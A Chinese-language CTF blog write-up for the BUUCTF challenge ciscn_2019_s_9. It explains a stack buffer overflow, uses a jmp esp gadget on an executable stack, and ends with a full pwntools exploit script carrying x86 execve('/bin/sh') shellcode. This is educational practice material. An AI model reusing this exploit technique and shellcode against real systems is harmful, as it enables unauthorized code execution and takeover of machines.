BUUCTF-ciscn_2019_s_9

通过这道题我学习了asm函数。
{在linux源码中经常遇到__asm__函数。它其实是函数asm的宏定义 asm #define asm asm,asm函数让系统执行汇编语句。__asm__常常与__volatile__一起出现。__volatile__限制编译器不能对下面的汇编语句进行优化处理。}

check一下,挺好,我就喜欢这个,基本没保护措施
main()跳到pwn();

看看pwn()的内容;

fget那里可以溢出,能够溢出0x32-0x20-0x4个字节
看下hint的汇编,

这里直接跳到了esp,esp是在堆栈上的;既然有栈溢出,栈可执行,又有一个跳转到esp的函数,思路就很清晰了;
我们先利用栈溢出,覆盖pwn()函数的返回地址为jmp esp的地址,然后我们再使得esp指向shellcode所在的地址

由于esp的位置被挤到了距离shellcode开始位置40bytes后的地方,因此我们手动减掉40bytes,再主动调用;

from pwn import *
p = process("./ciscn_s_9")
ret_addr = 0x08048554 #jmp esp
shellcode ='''
xor eax,eax
xor edx,edx
push edx
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
mov al,0xb
int 0x80
'''
shellcode=asm(shellcode)
payload = shellcode.ljust(0x24,'a') + p32(ret_addr) + asm("sub esp,40;call esp")
print(len(payload))
#gdb.attach(p)
p.sendline(payload)
p.interactive()

posted @ 2022-05-04 18:17  -ro0t  阅读(260)  评论(0)    收藏  举报